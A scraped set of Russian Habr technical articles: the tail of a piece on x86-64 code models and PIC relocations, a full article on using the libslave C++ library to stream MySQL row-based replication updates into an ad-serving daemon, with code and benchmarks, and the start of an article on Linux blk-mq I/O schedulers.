Relocation section '.rela.text' at offset 0x62d60 contains 6 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000000021 00160000001a R_X86_64_GOTPC32 0000000000000000 _GLOBAL_OFFSET_TABLE_ - 4
000000000037 001700000004 R_X86_64_PLT32 0000000000000000 global_func - 4
000000000041 001200000009 R_X86_64_GOTPCREL 0000000000000000 global_arr - 4
00000000004d 000300000002 R_X86_64_PC32 0000000000000000 .data + 1b8
000000000057 001300000009 R_X86_64_GOTPCREL 0000000000000000 global_arr_big - 4
000000000063 000a00000019 R_X86_64_GOTOFF64 0000000000030d40 static_arr_big + 0
```
Для начала давайте уберем вызов функции. Аналогично малой модели, в средней модели мы предполагаем, что ссылки на код не превышают пределов 32-битного RIP сдвига, следовательно, код для вызова `global_func` полностью аналогичен такому же коду в малой PIC-модели, равно как и для случаев массивов малых данных `static_arr` и `global_arr`. Поэтому мы сфокусируемся на массивах больших данных, но сначала поговорим о прологе: здесь он отличается от пролога большой модели данных.
```
1e: 48 8d 1d 00 00 00 00 lea 0x0(%rip),%rbx
```
Это весь пролог: чтобы при помощи релокации `R_X86_64_GOTPC32` разместить GOT адрес в `rbx`, потребовалась всего одна команда (по сравнению с тремя в большой модели). В чем же разница? Дело в том, что так как в средней модели GOT не является частью «секций больших данных», мы предполагаем его доступность в рамках 32-битного сдвига. В большой модели мы не могли совершать подобные предположения, и были вынуждены пользоваться полным 64-битным сдвигом.
Вызывает интерес тот факт, что код для доступа к `global_arr_big` похож на такой же код в малой PIC-модели. Это происходит по той же причине, почему пролог средней модели короче пролога большой модели: мы полагаем доступность GOT в рамках 32-битной RIP-относительной адресации. Действительно, к самому `global_arr_big` нельзя получить такой доступ, но этот случай все равно покрывает GOT, так как фактически `global_arr_big` в нем и находится, причем в виде полного 64-битного адреса.
Ситуация, тем не менее, отличается для `static_arr_big`:
```
t += static_arr_big[7];
61: 48 b8 00 00 00 00 00 movabs $0x0,%rax
68: 00 00 00
6b: 8b 44 03 1c mov 0x1c(%rbx,%rax,1),%eax
6f: 01 45 ec add %eax,-0x14(%rbp)
```
Этот случай похож на большую PIC-модель кода, поскольку тут мы все же получаем абсолютный адрес символа, которого нет в самом GOT. Так как это большой символ, о котором нельзя предположить его нахождение в нижних двух гигабайтах, нам, как и в большой модели, требуется 64-битный PIC сдвиг.
#### Примечания:
[1] Не стоит путать модели кода с [64-битными моделями данных](https://en.wikipedia.org/wiki/64-bit_computing#64-bit_data_models) и [моделями памяти Intel](https://en.wikipedia.org/wiki/Intel_Memory_Model), все это разные темы.
[2] Важно помнить: собственно команды создает компилятор, и режимы адресации фиксируются именно на этом шаге. Компилятор не может знать в какие программы или общие библиотеки попадет объектный модуль, одни могут оказаться малыми, а другие большими. Компоновщику известен размер итоговой программы, но уже слишком поздно: компоновщик может лишь патчить сдвиг команд релокацией, а не менять сами команды. Таким образом, «соглашение» модели кода должно быть «подписано» программистом на этапе компиляции.
[3] Если что-то осталось непонятным, ознакомьтесь со [следующей статьей](https://eli.thegreenplace.net/2011/08/25/load-time-relocation-of-shared-libraries/).
[4] Тем не менее, объемы постепенно растут. Когда я в последний раз проверял Debug+Asserts билд Clang, он почти достигал одного гигабайта, за что во многом спасибо автогенерируемому коду.
[5] Если вы еще не знаете как работает PIC (как в целом, так и в частности для архитектуры x64), самое время ознакомиться со следующими статьями по теме: [раз](http://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/) и [два](http://eli.thegreenplace.net/2011/11/11/position-independent-code-pic-in-shared-libraries-on-x64/).
[6] Таким образом, компоновщик не может самостоятельно разрешить ссылки, и вынужден переложить обработку GOT на динамический загрузчик.
[7] 0x25 – 0x7 + GOT – 0x27 + 0x9 = GOT
---
[](http://miran.ru/) | https://habr.com/ru/post/509126/ | null | ru | null |
# Доставка обновлений из БД MySQL в приложение при помощи клиента репликации libslave
При написании любого достаточно крупного проекта всегда встают более-менее похожие проблемы. Одна из них — проблема скорости получения обновлений системы. Относительно легко можно наладить быстрое получение небольших обновлений. Довольно просто изредка получать обновления большого объема. Но что если надо быстро обновлять большой массив данных?
Для Таргета Mail.Ru, как и для всякой рекламной системы, быстрый учет изменений важен по следующим причинам:
• возможность быстрого отключения показа кампании, если рекламодатель остановил ее в интерфейсе или если у него кончились деньги, а значит, мы не будем показывать ее бесплатно;
• удобство для рекламодателя: он может поменять цену баннера в интерфейсе, и уже через несколько секунд его баннеры начнут показываться по новой стоимости;
• быстрое реагирование на изменение ситуации: изменение CTR, поступление новых данных для обучения математических моделей. Все это позволяет корректировать стратегию показа рекламы, чутко реагируя на внешние факторы.
В этой статье я расскажу об обновлении данных, лежащих в больших таблицах в БД MySQL, фокусируясь на скорости и консистентности — ведь не хотелось бы уже получить новый заведенный баннер, но при этом не получить данную рекламную кампанию.
Как мы могли бы это делать, используя стандартные средства MySQL? Можно было бы периодически перечитывать все таблицы целиком. Это самый неоптимальный вариант, ведь вместе с новыми данными будет перегоняться много старых, уже известных данных, гигантская нагрузка ляжет на сеть и на MySQL-сервер. Другой вариант — соответствующим образом подготовить схему хранения данных: ввести во все таблицы время последнего обновления и делать селекты за нужные промежутки времени. Правда, если таблиц много, и машин, где надо хранить копию данных, тоже много, то и селектов будет очень-очень много, а нагрузка на MySQL-сервер, опять-таки, получается большой. Кроме того, придется позаботиться о консистентности полученных обновлений.
Удобный способ решения проблемы предлагает нам libslave:
• данные приходят к нам из БД «сами» — нет необходимости поллить базу, если обновлений в данный момент нет;
• обновления приходят в том порядке, в котором выполнялись на мастере, нам видна вся история изменений;
• не надо специально готовить таблицы, вводить таймстемпы, ненужные с точки зрения бизнес-логики;
• видны границы транзакций — т. е. точки консистентности данных;
• низкая нагрузка на мастер: он не выполняет запросы, не нагружает процессор — он просто шлет файлы.
О том, как мы используем libslave для наших целей, и будет эта статья. Я вкратце расскажу, как устроена репликация данных в MySQL (думаю, все себе это хорошо представляют, но все же), как устроена сама libslave, как ею пользоваться, приведу результаты бенчмарков и некоторый сравнительный анализ существующих реализаций.
#### Устройство репликации
Мастер-база записывает каждый запрос, изменяющий данные или схему данных, в специальный файл — так называемый [binary-log](http://dev.mysql.com/doc/refman/5.0/en/binary-log.html). Когда бинарный лог достигает определенного размера, запись переходит к следующему файлу. Существует специальный индекс этих бинарных логов, а также определенный набор команд для управления ими (например, для удаления старых бинлогов).
Слейв получает по сети эти файлы в сыром виде (что упрощает реализацию мастера) и применяет к своим данным. Слейв помнит позицию, до которой он дочитал бинлоги, и поэтому при перезапусках просит мастер продолжить отправлять ему логи начиная с нужной позиции.
Существует два режима репликации — STATEMENT и ROW. В первом режиме мастер записывает в бинлог исходные запросы, которые он выполнял для изменения данных (UPDATE/INSERT/DELETE/ALTER TABLE/...). На слейве все эти запросы выполняются так же, как они выполнялись бы на мастере.
В ROW-режиме, доступном начиная с MySQL версии 5.1, в бинлог пишутся не запросы, а уже измененные этими запросами данные (впрочем, запросы, изменяющие схемы данных (DDL), все равно пишутся как есть). Событие в ROW-режиме представляет собой:
• одну строку данных — для команд INSERT и DELETE. Соответственно, для INSERT пишется вставленная строка, для DELETE — удаленная
• две строки — BEFORE и AFTER — для UPDATE.
При каких-то массовых изменениях данных такие бинлоги получаются значительно больше, чем если бы мы записали сам запрос, но это частный случай. Для использования в своем демоне ROW-репликация нам очень удобна тем, что не надо уметь выполнять запросы и мы получаем сразу то, что нужно — измененные строки.
Кстати, совсем необязательно включать ROW-репликацию на своем самом-важном-мастер-сервере. Мастер-сервер может кормить несколько слейвов по обычной STATEMENT репликации (резервы, бэкапы), а часть из этих слейвов могут писать ROW-логи, и уже к ним будут обращаться за данными демона.
#### Как это работает у нас
Получение данных из базы происходит в два этапа:
1. начальная загрузка данных при старте демона
2. получение обновлений
Начальная загрузка данных, в принципе, может быть облегчена наличием дампов — демон может сбрасывать свое состояние на диск и писать позиции бинлога в тот же дамп. Тогда при старте можно загрузить данные в память из дампа и продолжить читать бинлог с последней позиции. Но когда дампа нет, надо что-то делать. И это что-то, разумеется, Select.
Выбрать данные надо так, чтобы в памяти они были консистентными. Для этого можно выбирать данные из всех таблиц в одной транзакции. Но после этого нам надо начать читать обновления по libslave и решить, с какой позиции мы будем читать. Взять текущую позицию после селектов нельзя, т. к. во время селектов в базу могли быть записаны новые данные, которые в селект не попали, но позицию бинлога подвинули. Брать позицию перед началом селектов тоже нельзя, т. к. от момента, когда мы возьмем текущую позицию, до момента начала селекта могут прийти новые данные. Начать транзакцию командой BEGIN, а потом получить текущую позицию бинлога, опять-таки, не выйдет — между ними нет никакой синхронизации, и если один клиент сделал BEGIN, то другие клиенты могли в этот время записать данные, а позиция бинлога, соответственно, могла сместиться.
Все эти размышления подводят нас к той мысли, что обеспечивать консистентность чтения будет частично задачей демона. Данные у нас в памяти устроены так, что если к нам приходит неконсистентный объект (в том плане, что мы можем обнаружить его неконсистентность — например, ему не хватает необходимых связей), то он будет просто выброшен из памяти демона; однако, если позже он придет консистентным, то будет вставлен в память. Если он придет консистентным два раза, то в памяти останется его последнее состояние. Если он был в памяти консистентным, а придет неконсистентным, то неконсистентное состояние мы не применим, и объект в памяти демона не изменится.
Исходя из всего этого, правильная, с нашей точки зрения, модель начальной загрузки выглядит так:
1. Получаем текущую позицию бинлога на мастере p1 — делаем это в произвольный момент времени.
2. Делаем все селекты.
3. Получаем новую текущую позицию бинлога на мастере p2.
4. С помощью libslave читаем все события между p1 и p2. При этом в демон могут прийти как новые объекты, которые образовались во время селекта, так и измененные старые, которые уже есть в памяти.
5. После этого у демона есть непротиворечивая копия данных, демон готов к работе — можем отвечать на запросы и принимать обновления с помощью libslave, начиная с позиции p2.
Я особо подчеркну, что, раз консистентность данных у нас поддерживается в демоне, то нам нет необходимости делать в п. 2 селекты в одной транзакции. Рассмотрим, для примера, такую сложную последовательность событий:
1. Получаем текущую позицию бинлога.
2. Начали читать таблицу кампаний, в которой есть кампания campaign1.
3. Создался новый баннер banner1 в состоянии 1 в существующей кампании campaign1.
4. Создалась новая кампания campaign2, которая не попадает в результат селекта.
5. Создался новый баннер banner2, который привязан к кампании campaign2.
6. Banner1 перешел в состояние 2.
7. Закончили читать таблицу кампаний, перешли к чтению таблицы баннеров, и в это чтение попадет banner1 в состоянии 2 и banner2.
8. Дочитали таблицу баннеров.
9. Создался новый баннер banner3 в кампании campaign2.
10. Получили новую текущую позицию бинлога p2.
И теперь посмотрим, что будет происходить в демоне:
1. Демон селектит все кампании и запоминает их в память (возможно, проверяя какие-то критерии — может быть, нам нужны в памяти не все кампании).
2. Демон перешел к селекту баннеров. Он прочитает banner1 сразу в состоянии 2 и запомнит его, привязав его к уже прочитанной кампании campaign1.
3. Он прочитает banner2 и откинет его, т. к. кампании campaign2 для него в памяти нет — она не попала в результаты селекта.
4. На этом селект закончился. Переходим к чтению изменений от позиции p1 до позиции p2.
5. Встречаем создание баннера banner1 в состоянии 1. Напомню, в памяти демона он уже есть в своем последнем состоянии 2, но, однако же, мы применим это обновление, и переведем баннер в состояние 1 — это не страшно, т. к. данные будут использоваться для работы только после того, как мы дочитаем до позиции p2, а до этой позиции мы получим изменения этого баннера еще раз.
6. Прочитали создание новой кампании campaign2 — запомнили ее.
7. Прочитали создание привязанного к ней баннера banner2 — теперь мы его запомним, т. к. для него есть соответствующая кампания, а данные консистентны.
8. Прочитали перевод banner1 в состояние 2 — применили, теперь и тут консистентно.
9. Прочитали создание banner3 в кампанию campaign2 — вставили в память.
10. Дошли до позиции p2, остановились — все данные загружены консистентно, можем отдавать их пользователю и читать обновления дальше в штатном режиме.
Заметим, что на этапе первоначальной выборки данных их неконсистентность не говорит о том, что ошибки присутствуют в базе — просто это такая особенность процесса загрузки данных. Такая неконсистентность будет исправлена далее демоном при дочитывании данных. А вот если после этого в них есть какие-то несоответствия — тогда уже да, тогда это база.
Код выглядит примерно так:
```
slave::MasterInfo sMasterInfo; // заполняем опции коннекта к базе
Slave sSlave(sMasterInfo); // создаем объект для чтения данных
// запоминаем последнюю позицию бинлога
const slave::Slave::binlog_pos_t sInitialBinlogPos = sSlave.getLastBinlog();
select(); // селектим данные из базы
// получаем новую последнюю позицию бинлога — изменилась за время селекта
const slave::Slave::binlog_pos_t sCurBinlogPos = sSlave.getLastBinlog();
// теперь нам надо дочитать данные из слейва до этой позиции
init_slave(); // здесь добавляются колбеки на таблицы, вызываются Slave::init и Slave::createDatabaseStructure
sMasterInfo.master_log_name = sInitialBinlogPos.first;
sMasterInfo.master_log_pos = sInitialBinlogPos.second;
sSlave.setMasterInfo(sMasterInfo);
sSlave.get_remote_binlog(CheckBinlogPos(sSlave, sCurBinlogPos));
```
Функтор CheckBinlogPos вызовет завершение чтения данных из бинлога по достижении позиции sCurBinlogPos. После этого происходит первичная подготовка данных для использования и запускается чтение данных из слейва с последней позиции уже без всяких функторов.
#### Устройство libslave
Рассмотрим подробнее, что такое libslave. Мое описание основано на наиболее популярной [реализации](https://github.com/Begun/libslave). Ниже я сравню несколько форков и совершенно другую реализацию.
Libslave — это библиотека на C++, которая может быть использована в вашем приложении для получения обновлений из MySQL. Libslave не связана на уровне кодов с MySQL-сервером; она собирается и линкуется только с клиентом — libmysqlclient. Работоспособность библиотеки проверялась на мастерах версии от 5.1.23 до 5.5.34 (не на всех! Только на тех, что под руку попались).
Для работы нам нужен MySQL-сервер с включенной записью бинлогов в режиме ROW. Для этого у него в конфиге должны быть следующие строки:
```
[mysqld]
log-bin = mysqld-bin
server-id = 1
binlog-format = ROW
```
Пользователю, под которым будет ходить libslave, потребуются права доступа REPLICATION SLAVE и REPLICATION CLIENT, а также SELECT на те таблицы, которые он будет обрабатывать (на те, которые будут в бинлогах, но которые он будет пропускать, SELECT не нужен). Право SELECT нужно для получения схемы таблицы.
В libslave встроен микро-классик nanomysql::Connection для выполнения обычных SQL-запросов на сервере. В жизни мы его используем не только как часть libslave, но и как клиент для MySQL вообще (не хотелось использовать mysqlpp, mysql-connector и прочие штуки).
Основной класс называется Slave. Перед началом работы мы задаем пользовательские колбеки для событий от таблиц, за которыми будем следить. В колбек передается информация о событии в структуре RecordSet: его тип (Write/Update/Delete) и данные (вставленная/обновленная/удаленная запись, в случае Update — ее предыдущее состояние).
При инициализации библиотеки параметрами мастера происходят следующие проверки:
1. Проверяем возможность соединиться с сервером.
2. Делаем SELECT VERSION() — убеждаемся, что версия не меньше, чем 5.1.23.
3. Делаем SHOW GLOBAL VARIABLES LIKE 'binlog\_format' — убеждаемся, что формат бинлогов ROW.
4. Читаем сохраненную позицию последнего прочитанного сообщения через пользовательскую функцию. Если пользовательская функция ничего не вернула (пустое имя бинлога, нулевая позиция), то читаем текущее положение бинлога в мастере через запрос SHOW MASTER STATUS.
5. Считываем структуру базы для таблиц, за которыми будем следить.
6. Генерируем slave\_id — такой, чтобы не совпадал ни с одном из запросов SHOW SLAVE HOSTS.
7. Регистрируем слейв на мастере выполнением simple\_command (COM\_REGISTER\_SLAVE).
8. Запрашиваем передачу дампа командой simple\_command (COM\_BINLOG\_DUMP).
9. Запускаем цикл обработки входящих пакетов — их парсинг, вызов нужных колбеков, обработку ошибок.
Отдельно стоит упомянуть про пятый пункт — считывание структуры базы данных. В случае настоящего MySQL-slave, мы всегда знаем правильное устройство табличек, потому что начали с какого-то SQL-дампа и продолжили читать таблицы с соответствующей позиции бинлога, следуя всем DDL-statement. Libslave же в общем случае стартует с той позиции бинлога, которую ей предоставит пользователь (например, с той, на которой мы сохранились в прошлый раз, или с текущей позиции мастера). Прошлых знаний о структуре базы данных в общем случае у нее нет, поэтому схему таблицы она получает парсом вывода результатов запроса SHOW FULL COLUMNS FROM. И именно оттуда берется информация о том, какие поля, каких типов и в каком порядке парсить из бинлога. С этим может быть такая проблема: описание таблиц мы получаем текущие, а бинлоги можем начать читать предыдущие, когда таблица еще выглядела по-другому. В этом случае libslave, скорее всего, выйдет с ошибкой, что данные неконсистентны. Придется начинать читать с текущей позиции мастера.
Не страшно менять описание таблиц в процессе работы libslave. Она распознает запросы ALTER TABLE и CREATE TABLE, и сразу после их получения перечитывает структуры таблиц. Конечно, и тут возможны проблемы. Предположим, что мы быстро два раза поменяли структуру таблицы, между этими событиями записав туда какие-то данные. Если libslave получит запись о первом альтере, только когда уже будет завершен второй, то через SHOW FULL COLUMNS FROM получит сразу же второе состояние БД. Тогда событие на обновление таблицы, которое будет соответствовать еще первому описанию, имеет шансы остановить репликацию. Впрочем, на практике такое бывает крайне редко (у нас не было ни разу), и в случае чего лечится перезапуском демона с чистого листа.
С помощью libslave можно отслеживать границы транзакций. Несмотря на то, что, пока транзакция не завершится, ни одна ее запись не попадет в бинлог, различать транзакции все же может быть важно: если у вас есть какие-то два связанных изменения в разных таблицах, то вы можете не захотеть использовать только одну обновленную, пока не обновится и вторая. В бинлог не попадают события BEGIN — при начале транзакции идут сразу измененные строки, которые завершаются COMMIT'ом. Т.е. транзакции отслеживаются не по BEGIN/COMMIT, а по двум последовательным COMMIT'ам.
#### Если мастер исчез
Основной цикл работы libslave, вызываемый функцией **get\_remote\_binlog**, получает в качестве параметра пользовательский функтор, который проверяется перед чтением каждого нового пакета. Если функтор вернет true, то цикл завершится.
При возникновении любых ошибок происходит вывод ошибки в лог и цикл продолжается. В частности, если сервер перезагружают, то libslave будет пытаться переконнектиться с сервером до победного конца, после чего продолжит читать данные. Возможны и вечные залипы — например, если из-под мастера утащили логи, которые читает libslave, то libslave будет вечно «плакаться» в цикле, что нужных логов нет.
На случай обрыва сети соединение настраивается с таймаутом в 60 секунд. Если за 60 секунд не пришло ни одного нового пакета данных (что может быть и в случае, если просто нет обновлений), то будет произведен реконнект к базе данных, и чтение потока сообщений продолжится с последней прочитанной позиции.
В принципе, завершить цикл можно и раньше, не дожидаясь окончания таймаута. Предположим, что вы хотите иметь возможность быстро, но корректно завершить приложение по Ctrl+C, не дожидаясь возможных 60 секунд при разрыве сети или отсутствии обновлений. Тогда в обработчике сигнала достаточно выставить флаг, который заставит следующий вызов пользовательского функтора вернуть true, и вызвать функцию **Slave::close**, которая принудительно закроет сокет MySQL. Из-за этого вызов чтения пакета завершится с ошибкой, и при проверке ответа от пользовательского функтора произойдет выход из цикла.
**Статистика**
В библиотеке есть абстрактный класс **ExtStateIface**, которому из libslave передается различная информация: число реконнектов, время последнего эвента, статус соединения с БД. Этот же класс отвечает за сохранение и загрузку текущей позиции бинлога в какое-либо постоянное хранилище. Существует дефолтная реализация этого класса **DefaultExtState**, работающая через мьютекс (т. к. устанавливать статистику может slave в одном потоке, а читать ее — кто-то другой в другом). Грустная новость заключается в том, что правильная реализация этого класса необходима для корректной работы libslave, т. е. это не просто объект статистики — это объект, который может управлять работой библиотеки.
#### Бенчмарки
Бенчмарки проводились на двух комплектах машин.
Первый комплект представлял собой одну машину, на которой была установлена БД, и на ней же выполнялся тест. Конфигурация:
• CPU: Intel® Core(TM) i7-4770K CPU @ 3.50GHz
• mem: 32 GB 1666 MHz
• MB: Asus Z87M-PLUS
• HDD: SSD OCZ-VERTEX3
• OS Gentoo Linux, ядро 3.12.13-gentoo x86\_64
Настройки БД были по умолчанию. Честно говоря, не думаю, что они имеют большое значения для мастера, который фактически просто «льет» файл по сети.
Второй комплект представлял собой две машины. Первая машина с БД:
• CPU: 2 x Intel® Xeon® CPU E5620 @ 2.40GHz
• mem: 7 x 8192 MB TS1GKR72V3N 800 MHz (1.2ns), 1 x 8192 MB Kingston 9965434-063.A00LF 800 MHz (1.2ns), 4 x Empty
• MB: ETegro Technologies ETRS370G3
• HDD: 14 x 300 GB HUS156030VLS600, 2 x 250 GB WDC WD2500BEVT-0
• PCI: LSI Logic / Symbios Logic SAS2116 PCI-Express Fusion-MPT SAS-2 [Meteor], Intel Corporation 82801JI (ICH10 Family) SATA AHCI Controller
• OS CentOS release 6.5 (Final) ядро 2.6.32-220.13.1.el6.x86\_64
Машинка с тестом:
• CPU: 2 x Intel® Xeon® CPU E5-2620 0 @ 2.00GHz
• mem: 15 x 8192 MB Micron 36KSF1G72PZ-1G4M1 1333 MHz (0.8ns), 1 x 8192 MB Micron 36KSF1G72PZ-1G6M1 1333 MHz (0.8ns)
• MB: ETegro Technologies ETRS125G4
• HDD: 2 x 2000 GB Hitachi HUA72302, 2 x 250 GB ST250DM000-1BD14
• PCI: Intel Corporation C602 chipset 4-Port SATA Storage Control Unit, Intel Corporation C600/X79 series chipset 6-Port SATA AHCI Controller
• OS CentOS release 6.5 (Final) ядро 2.6.32-358.23.2.el6.x86\_64
Сеть между машинами 1 Гбит/с.
Следует отметить, что в обоих тестах БД не обращалась к диску, т. е. бинлоги были закэшированы в памяти, и в передачу данных тест не упирался. Загрузка CPU во всех тестах была 100%. Это говорит о том, что упирались мы в саму библиотеку libslave, т. е. исследовали ее производительность.
Для теста были созданы две таблицы — маленькая и большая:
```
CREATE TABLE short_table (
id int NOT NULL auto_increment,
field1 int NOT NULL,
field2 int NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE long_table (
id int NOT NULL auto_increment,
field1 timestamp NOT NULL DEFAULT 0,
field2 timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
field3 enum('a','b','c') NOT NULL DEFAULT 'a',
field4 enum('a','b','c') NOT NULL DEFAULT 'a',
field5 varchar(255) NOT NULL,
field6 int NOT NULL,
field7 int NOT NULL,
field8 text NOT NULL,
field9 set('a','b','c') NOT NULL DEFAULT 'a',
field10 int unsigned NOT NULL DEFAULT 2,
field11 double NOT NULL DEFAULT 1.0,
field12 double NOT NULL DEFAULT 0.0,
field13 int NOT NULL,
field14 int NOT NULL,
field15 int NOT NULL,
field16 text NOT NULL,
field17 varchar(255) NOT NULL,
field18 varchar(255) NOT NULL,
field19 enum('a','b','c') NOT NULL DEFAULT 'a',
field20 int NOT NULL DEFAULT 10,
field21 double NOT NULL,
field22 double NOT NULL DEFAULT 1.0,
field23 double NOT NULL DEFAULT 1.0,
field24 double NOT NULL DEFAULT 1.0,
field25 text NOT NULL DEFAULT "",
PRIMARY KEY (id)
);
```
Каждая таблица содержала по одному миллиону записей. При вставке данных одно текстовое поле заполнялось короткой строкой. Все остальные строки были фактически пустыми, поля заполнялись значениями по умолчанию. Т.е. такой метод вставки позволял получить полноценные бинлоги, но большинство строковых полей были пустыми:
INSERT INTO short\_table (field1, field2) values (1, 2);
INSERT INTO long\_table (field5, field25) values («short\_string», «another\_short\_string»);
Каждая из этих таблиц были сначала вставлена в БД, после чего полностью обновлена запросами:
UPDATE short\_table SET field1 = 12;
UPDATE long\_table SET field6 = 12;
Таким образом, удалось получить набор бинлогов типа INSERT и набор бинлогов типа UPDATE (которые раза в два больше, т. к. содержат помимо измененной строки ее предыдущее состояние). Перед каждой операцией запоминали позицию бинлога, т. е. получили таким образом 4 интервала бинлогов:
инсерты короткой таблицы (5429180 — 18977180 => 13548000)
апдейты короткой таблицы (18977180 — 45766831 => 26789651)
инсерты длинной таблицы (45768421 — 183563421 => 137795000)
апдейты длинной таблицы (183563421 — 461563664 => 278000243).
Тест был собран компилятором gcc-4.8.2 с флагами -O2 -fomit-frame-pointer -funroll-loops. Каждый тест прогонялся три раза, в качестве результата брались показатели третьего теста.
А теперь немного таблиц и графиков. Но сначала нотация:
• «без колбеков» означает, что мы попросил libslave прочитать определенный набор бинлогов, не навешивая никаких колбеков на таблицу, т. е. и записи RecordSet не создавались.
• «С бенчмарк-колбеками» означает, что были повешены колбеки, измеряющие посекундную производительность, стараясь минимально воздействовать на общее время выполнения теста (нужно для построения графиков). Больше они ничего не делали — вся работа на libslave была только в том, чтобы распарсить запись, создать объект(-ы) **RecordSet** и передать их в пользовательскую функцию по ссылке.
• «С lockfree-malloc» означает, что в тесте использовался [аллокатор](https://github.com/Begun/lockfree-malloc).
«Время 1» и «Время 2» — время выполнения теста для набора машин 1 и 2, соответственно.
| Тест | Время 1, сек. | Время 2, сек. |
| --- | --- | --- |
| Инсерты в маленькую таблицу без колбеков | 00,0299 | 00,1595 |
| Инсерты в маленькую таблицу с бенчмарк колбеками | 02,4092 | 03,8958 |
| Апдейты в маленькую таблицу без колбеков | 00,0500 | 00,2336 |
| Апдейты в маленькую таблицу с бенчмарк-колбеками | 04,8499 | 07,4892 |
| Инсерты в большую таблицу без колбеков | 00,2627 | 01,1842 |
| Инсерты в большую таблицу с бенчмарк-колбеками | 20,2901 | 33,9604 |
| Инсерты в большую таблицу с бенчмарк-колбеками с lockfree-malloc | 19,0906 | 34,5743 |
| Апдейты в большую таблицу без колбеков | 00,6225 | 02,3860 |
| Апдейты в большую таблицу с бенчмарк-колбеками | 40,4330 | 70,7851 |
| Апдейты в большую таблицу с бенчмарк-колбеками с lockfree-malloc | 37,9637 | 68,3616 |
| Инсерты и апдейты в обе таблицы без колбеков | 00,9499 | 03,9179 |
| Инсерты и апдейты в обе таблицы с бенчмарк-колбеками на короткую | 08,0445 | 14,8126 |
| Инсерты и апдейты в обе таблицы с бенчмарк-колбеками на длинную | 62,8213 | 100,9520 |
| Инсерты и апдейты в обе таблицы с бенчмарк-колбеками на обе | 67,8092 | 118,3860 |
| Инсерты и апдейты в обе таблицы с бенчмарк-колбеками на обе с lockfree-malloc | 64,5951 | 113,3920 |
Ниже приведен график скорости чтения по последнему бенчмарку с обеих машин. График постепенно спадает: быстрее всего читаются маленькие инсерты, далее идут маленькие апдейты, далее — большие инсерты, и медленнее всего обрабатываются маленькие апдейты. Можно примерно представить скорость обработки каждого типа бинлогов.
Я не исследовал в данном бенчмарке скорость обработки событий DELETE, но подозреваю, что она идентична скорости INSERT, поскольку в логе появляется сообщение такой же длины, что и при вставке.
#### Разные реализации
На данный момент мне известны только две реализации libslave. Одна из них — это уже [упомянутая](https://github.com/Begun/libslave), в свое время ее открыла компания «Бегун», и об этом много где было написано (например, на [OpenNet](http://www.opennet.ru/opennews/art.shtml?num=30308)). Именно эта реализация используется в портах FreeBSD.
В Mail.Ru Group используется форк Бегуна, который я иногда [подпиливаю](https://github.com/vozbu/libslave). Часть изменений в ней была также внесена в бегунский форк. Из невнесенных: выпиливание неиспользуемого кода, уменьшение включения хедеров, больше тестов (тесты на BIGINT, на длинные SET'ы), проверка версии формата каждого бинлога, поддержка mysql-5.5, типа decimal (возвращается как double — разумеется, используется не в биллинге, а там, где достаточно примерного представления о балансах), поддержка битовых полей (позаимствована из [форка](https://github.com/alheio/libslave), который сейчас практически в том же состоянии, что и мой).
Вторая реализация, которая мне известна — от вышеупомянутых [Пианиста и Димарика](https://github.com/dimarik/mysqlslave). Что она из себя представляет архитектурно и в плане производительности, мне еще предстоит выяснить.
#### Примеры кода
Примеры кода есть и в самой библиотеке, но я дам несколько комментариев.
Файл types.h: через typedef'ы показывает маппинг между типами MySQL и типами C++. Можно заметить, что все строковые типы, включая BLOB, представляют собой просто std::string, а все целочисленные типы — беззнаковые. Т.е. даже если в определении таблицы написан просто int (не unsigned), то библиотека будет возвращать тип uint32\_t.
В этом же файле содержатся две удобные функции по переводу типов DATE и DATETIME, предоставляемых libslave, в обычный time\_t. Эти две функции являются внешними (не вызываются внутри libslave) по историческим причинам: изначально libslave возвращал странные закодированные числа для этих дат, и я не стал это менять.
Файл recordset.h содержит определение структуры **RecordSet**, представляющей собой одну запись бинлога. В ней содержится тип сообщения, его время, имя базы данных и таблицы, к которым он принадлежит, а также две строки — новая и предыдущая (для update).
Строка представляет собой ассоциативный массив из имени столбца в объект типа boost::any, который будет содержать в себе тип, описанный в types.h и соответствующий полю.
Основной объект Slave описан в файле Slave.h.
Простейший код для запуска чтения репликации выглядит так:
```
void callback(const slave::RecordSet& event) {
switch (event.type_event) {
case slave::RecordSet::Update: std::cout << "UPDATE"; break;
case slave::RecordSet::Delete: std::cout << "DELETE"; break;
case slave::RecordSet::Write: std::cout << "INSERT"; break;
default: break;
}
}
slave::MasterInfo masterinfo;
masterinfo.host = host;
masterinfo.port = port;
masterinfo.user = user;
masterinfo.password = password;
slave::Slave slave(masterinfo);
slave.setCallback(«database», «table», callback);
slave.init();
slave.createDatabaseStructure();
slave.get_remote_binlog();
```
**Пример сессии с тестовым клиентом test\_client**
Для наглядности рассмотрим небольшой пример сессии: создание пользователя, базы, таблицы, наполнение ее данными и соответствующий вывод test\_client. То есть пример готового клиента репликации, содержащегося в исходных кодах libslave.
Вызов test\_client выглядит так:
`Usage: ./test_client -h -u -p -d
dev.mysql.com/doc/internals/en/event-data-for-specific-event-types.html` | https://habr.com/ru/post/219015/ | null | ru | null |
# blk-mq и планировщики ввода-вывода
В сфере устройств хранения данных за последние годы произошли серьёзные изменения: внедряются новые технологии, растут объём и скорость работы дисков. При этом складывается следующая ситуация, в которой узким местом становится не устройство, а программное обеспечение. Механизмы ядра Linux для работы с дисковой подсистемой совершенно не приспособлены к новым, быстрым блочным устройствам.
В последних версиях ядра Linux была проделана большая работа по решению этой проблемы. С выходом версии 4.12 у пользователей появилась возможность использовать несколько новых планировщиков для блочных устройств. Эти планировщики основаны на новом способе передачи запросов — [multiqueue block layer](https://lwn.net/Articles/552904/) (blk-mq).
В этой статье мы хотели бы подробно рассмотреть особенности работы новых планировщиков и их влияние на производительность дисковой подсистемы.
Статья будет интересна всем, кто занимается тестированием, внедрением и администрированием высоконагруженных систем. Мы поговорим о традиционных и новых планировщиках, проанализируем результаты синтетических тестов и сделаем некоторые выводы о тестировании и выборе планировщика под нагрузку. Начнем с теории.
Немного теории
--------------
Традиционно подсистема для работы с драйверами блочных устройств в Linux предоставляла два варианта передачи запроса драйверу: один с очередью, и второй — без очереди.
